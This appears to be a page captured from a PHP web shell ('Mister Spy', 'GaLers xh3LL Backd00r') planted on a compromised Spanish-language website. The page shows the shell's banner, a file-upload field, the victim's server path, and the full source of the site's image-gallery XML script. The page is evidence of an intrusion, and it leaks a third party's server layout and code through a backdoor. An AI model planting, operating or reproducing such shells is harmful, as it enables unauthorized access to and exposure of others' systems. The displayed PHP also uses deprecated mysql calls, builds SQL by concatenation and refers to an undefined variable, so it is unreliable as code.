Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/
Upload File :
Current File : /home/caballoscriollos/www/espanol/xml_imagenes.php

<?php

require_once('../Connections/cnx.php'); 
require_once('../funcs.php'); 

/* obtiene la ultima galeria */
mysql_select_db($database_cnx, $cnx);
$queryGaleria 		= "SELECT * FROM galeria_imagenes ORDER BY id_galeria DESC LIMIT 1";
$sqlGaleria 		= mysql_query($queryGaleria, $cnx) or die(mysql_error());
$oGaleria 			= mysql_fetch_assoc($sqlGaleria);
$CountRowsGaleria 	= mysql_num_rows($sqlGaleria);

/*obtiene 3 fotos ramdom de la ultima galeria de imagenes*/ 
mysql_select_db($database_cnx, $cnx);
$queryGaleria = "SELECT * FROM fotos_galerias";
$queryGaleria.= " WHERE id_galeria = " . $oGaleria['id_galeria'];
$queryGaleria.= " ORDER BY RAND() LIMIT 3";
$sqlGaleria 		= mysql_query($queryGaleria, $cnx) or die(mysql_error());
$CountRowsGaleria 	= mysql_num_rows($sqlGaleria);

/* ARMO RUTA DE LAS FOTOS DE LA GALERIA */
$id_pad = str_pad($row_rsGaleria['id_galeria'] , 6 , '0' , STR_PAD_LEFT);
$ruta_galeria = $DIR_GALERIA_IMG . $id_pad;

/* ARMO RUTA FOTOS THUMBS Y BIG */
$ruta_imagen = $ruta_galeria .  "/b_";
$ruta_imagen_thumb = $ruta_galeria . "/s_";

header('Content-type: text/xml');
header("Cache-control: no-store, no-cache, must-revalidate");
header("Expires: -1");
header("Pragma: no-cache");

print '<?xml version="1.0" encoding="utf-8"?>';
print '<Request>';
print '<Response>';

if ($CountRowsGaleria > 0)
{
	while ($oGaleria = mysql_fetch_array($sqlGaleria))
	{
		echo "<Row>";
		echo "	<Imagen>" . $oGaleria['id_foto_galeria'] . ".jpg" . "</Imagen>";
		echo "	<Epigrafe>" . utf8_encode($oGaleria['epigrafe']) . "</Epigrafe>";
		echo "	<UrlDetalle>" . $ruta_imagen . $oGaleria['id_foto_galeria'] . ".jpg" . "</UrlDetalle>";
		echo "</Row>";
	}
}

print '</Response>';
print '</Request>';

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat